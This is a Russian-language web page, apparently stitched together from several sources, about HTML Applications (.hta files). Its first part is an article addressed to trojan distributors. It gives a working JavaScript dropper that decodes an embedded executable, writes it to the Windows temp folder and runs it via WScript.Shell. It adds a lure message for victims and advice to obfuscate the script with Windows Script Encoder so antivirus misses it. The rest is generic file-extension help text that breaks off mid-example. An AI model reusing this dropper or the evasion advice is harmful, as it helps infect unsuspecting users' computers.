Файлы DLL

HTML Приложения (HTA). Пример использования атрибутов HTA-приложения

HTML Приложения (HTA). Пример использования атрибутов HTA-приложения

Как-то раз я, листая MSDN, совершенно случайно наткнулся на
описание одной технологии, которая, как выяснилось, поддерживается еще
со времен 5-й версии MSIE. Назвается она HTML Applications. Суть в том,
что если html-контент сохранить в файл с расширением.hta и между
и вставить специальный тег , то к этому контенту
не применяются никакие ограничения, связанные с безопасностью, т. е. на странице могут присутствовать любые элементы управления, скрипты могут
создавать любые COM-объекты, писать в любые файлы и получать доступ к
контенту во фреймах, независимо от того, из какого домена он был
загружен. Это дает возможность создавать
полнофункциональные приложения с HTML-интерфейсом. Если же JavaScript не подходит для отдельных частей
программы, то их можно реализовать в виде ActiveX объектов, а DHTML
использовать только для создания GUI. Очевидно, эта технология появилась
вследствие тенденции использования движка MSIE, где надо и где не надо. О безопасности
мелкомягкие тоже подумали. Простая вставка тега
не превращает пагу в доверенный источник. Если открыть
ссылку на hta-файл, то, как и при открытии exeшников из инета,
появляется диалог с кнопками «Открыть», «Сохранить» и
т.д., предупреждающий, что этот контент может представлять опасность.
Всё правильно, но опытный распространитель троянов сумеет впарить такой
файл юзверю, не знающему об этой технологии. А уж возможностей скриптов
и компонентов, установленных на любой windows-тачке,
достаточно, чтобы скачать и установить какую-нибудь прогу, прописаться в автозагрузке и
даже стереть все файлы, если это доступно текущему пользователю. HTA-файл может быть вполне работоспособным и полезным
приложением. Хотя использовать эту технологию в коммерческом софте
трудно, поскольку HTML/JavaScript исполняется в виде исходника и,
следовательно, не может содержать платных или секретных алгоритмов.

Атрибуты тега APPLICATION

Этот тег не может содержать внутри себя никаких тегов или
текста, но требует закрывающего тега. Можно писать так:

, а можно так:
, как в XML.

У тега APPLICATION есть довольно много атрибутов, с помощью
которых устанавливаются свойства окна. Все они необязательны, и если
тебе безразличен вид окна твоего приложения, то можешь их не указывать. Атрибуты доступны из скриптов, что позволяет изменять свойства
окна, сворачивать/разворачивать и т.д. Вот список атрибутов с краткими пояснениями:

applicationName — имя приложения
version — его версия
border — тип границы окна
borderStyle — стиль границы
caption — показывать ли заголовок окна
commandLine — возвращает аргументы командной строки
contextMenu — показывать ли контекстное меню
icon — иконка окна
innerBorder — внутренная 3D-рамка
maximizeButton,
minimizeButton,
sysMenu — показывать ли соответствующие кнопки
navigable — открывать ссылки в том же окне
scroll,
scrollFlat — свойства скроллбара
selection — разрешать выделение
showInTaskBar — show in taskbar
singleInstance — только один экземпляр может быть запущен
windowState — состояние окна

Старт из HTML

Теперь конкретный пример того, что можно сделать, имея
возможность впарить юзеру HTA-файл. Допустим, у тебя есть готовый
троян в виде exe-файла, и тебе не терпится совместить его с новой
технологией. Трояны обычно бывают маленькими, и, думаю, что ничего страшного
не произойдет, если размер нашего HTML-приложения будет немного больше.
Для того, чтобы вставить бинарные данные в текст, нам потребуется их
закодировать. В JavaScript поддерживается стандартное кодирование урлов.
Этот метод годится только, если нетекстовых символов в коде мало. Если
их много (а так обычно бывает, так как внутри ехе-файлов заголовки и
секции дополняются нулами для выравнивания), то этот метод не самый
хороший. В худшем случае код будет втрое длиннее исходного. Гораздо
лучше было бы заюзать кодировку base64, при которой размер любых данных
увеличивается на 33%, но я не нашел в JavaScript встроенных
средств кодирования и декодирования по base64, а реализовывать их прямо на
JavaScript как-то некрасиво, имхо. Так что кодировать будем функцией
escape(), а декодировать — unescape(). Эксперимент показывает, что эти
функции работают со строками любой длины. Так что можно записать весь
экзешник одной строковой константой в скрипте.

Итак, алгоритм, который нужно реализовать в скрипте, такой:

1) Раскодировать содержимое исполняемого файла
2) Записать его
3) Запустить

Отметим один момент: важно не лопухнуться с выбором места для
файла. Если юзер не админ, то записать файл куда-попало не получится.
Нужно узнать от системы путь, например, папки temp (а это мы сделаем
тоже средствами JavaScript), и записать файл туда.

Итак, затрояненный HTA-файл может выглядеть примерно так.


code = «MZ%90%00%03%00%00%00%04 …… «; // Закодированный троян

var fso = new ActiveXObject(«Scripting.FileSystemObject»);

var tf = fso.GetSpecialFolder(2); // Получим windows\temp
var fn = tf + «\\x.exe»; // Добавим имя файла

var a = fso.CreateTextFile(fn, true); // Запишем в файл тело трояна
a.Write(unescape(code));
a.Close();

var WshShell = new ActiveXObject(«WScript.Shell»);
WshShell.Exec(fn); // Запустим его




Привет, чувак!
TheBat не показывает картинки, так что открой этот файл в Ехплорере.

Неплохо еще защитить скрипт от обнаружения антивирусом.
Существуют проги, изменяющие скрипты до неузнаваемости. Они называются
obfuscators (подробнее о них можешь прочитать в ). Microsoft предлагает свой обфускатор — Windows Script
Encoder. Он шифрует скрипты, а расшифровщик встроен в состему.
Инструкция честно предупреждает, что Windows Script Encoder не защитит
код от целеустремленного хакера. От хакера, может, и не защитит, а от
антивируса защитит. Нужно только скормить ему готовый HTA-файл,
и вместо скрипта появится какая-то абракадабра, а вместо
«JavaScript» будет написано «JavaScript.Encoded». Нельзя забывать о том, что ехе-компоненту тоже необходимо
сделать неузнаваемой, так как она записывается на диск, и при этом
может быть обнаружена антивирусным монитором.

Что это за файл - HTA?

Файлы с расширением.HTA содержат HTML-код и возможный код сценария на языке VBScript или JScript и обычно могут запускаться в окне веб-браузера. Файлы HTA в Windows выполняются узлом приложения Microsoft HTML - Mshta.Exe - после двойного щелчка по ним.

Если файл HTA находится в Интернете, браузер обычно предоставляет диалоговое окно с вопросом, хотите ли вы запустить или сохранить файл. Файл HTA можно создать, изменив расширение файла с на.HTA.

Программа(ы), умеющие открыть файл .HTA Windows Mac OS

Если появилась ситуация, в которой Вы не можете открыть файл HTA на своем компьютере - причин может быть несколько. Первой и одновременно самой важной (встречается чаще всего) является отсутствие соответствующей аппликации обслуживающей HTA среди установленных на Вашем компьютере.

Самым простым способом решения этой проблемы является нахождение и скачивание соответствующей аппликации. Первая часть задания, уже выполнена, - программы для обслуживания файла HTA Вы найдете ниже. Теперь достаточно скачать и установить соответствующую аппликацию.

В дальнейшей части этой страницы Вы найдете другие возможные причины, вызывающие проблемы с файлами HTA.

Возможные проблемы с файлами в формате HTA

Отсутствие возможности открытия и работы с файлом HTA, совсем не должен значить, что мы не имеем установленного на своем компьютере соответствующего программного обеспечения. Могут выступать другие проблемы, которые также блокируют нам возможность работы с файлом HTML Program Format. Ниже находится список возможных проблем.

  • Повреждение открываемого файла HTA.
  • Ошибочные связи файла HTA в записях реестра.
  • Случайное удаление описания расширения HTA из реестра Windows
  • Некомплектная установка аппликации, обслуживающей формат HTA
  • Открываемый файл HTA инфицирован нежелательным, вредным программным обеспечением.
  • На компьютере слишком мало места, чтобы открыть файл HTA.
  • Драйверы оборудования, используемого компьютером для открытия файла HTA неактуальные.

Если Вы уверены, что все перечисленные поводы отсутствуют в Вашем случае (или были уже исключены), файл HTA должен сотрудничать с Вашими программами без каких либо проблем. Если проблема с файлом HTA все-таки не решена, это может значить, что в этом случае появилась другая, редкая проблема с файлом HTA. В таком случае остается только помощь специалиста.

.a6p Adobe Authorware Application Format
.action Mac OS X Automator Action Format
.actm Autodesk AutoCAD Action Macro Format
.ahk AutoHotkey Script Format
.air Adobe AIR Rich Internet Applications
.apk Google Android Package Format
.app MAC Application Package Or Core System Service Format
.applescript AppleScript Script Format
Как связать файл с установленной программой?

Если Вы хотите связать какой-то файл с новой программой (напр. moj-plik.HTA) Вы можете воспользоваться двумя вариантами. Первый и самый простой - это нажатие правой кнопкой мышки на избранный файл HTA. Из открытого меню выберите опцию Выбрать программу по умолчанию" , затем опцию "Пересматривать" и найти требуемую программу. Всю операцию необходимо утвердить нажатием кнопки OK.

Есть ли универсальный метод открытия неизвестных файлов?

Многие файлы содержат данные в виде текста или чисел. Возможно, что во время открытия неизвестных файлов (напр. HTA) популярный в системе Windows простой редактор текста, которым является Notatnik позволит нам увидеть часть данных, закодированных в файле. Этот метод позволяет просмотреть содержимое многих файлов, однако не в такой форме, как программа, предназначенная для их обслуживания.

HTML-приложения

Начиная с Internet Explorer 5.0 появилась возможность создавать HTML-приложения с любым пользовательским интерфейсом при помощи JavaScript или VBScript. Причем, созданное html-приложение будет запускаться вне браузера и ничем не будет отличаться от стандартных Windows-приложений.

Созданное приложение будет присутствовать на панели задач, иметь свое собственное окно, меню и значок. Плюс ко всему отпадает необходимость подтверждать использование ActiveX-компонентов (система защиты Internet Explorer предусматривает появление предупреждающих сообщений при попытке использования ActiveX в HTML-документах). Вы имеете полный контроль над системой, включая чтение/запись файлов, данных в реестре, управление процессами. Для создания такого приложения достаточно обычного Блокнота (или другой текстовый редактор).

Данные html-приложения должны иметь расширение *.hta . Простейший случай будет выглядеть так:

Моя программа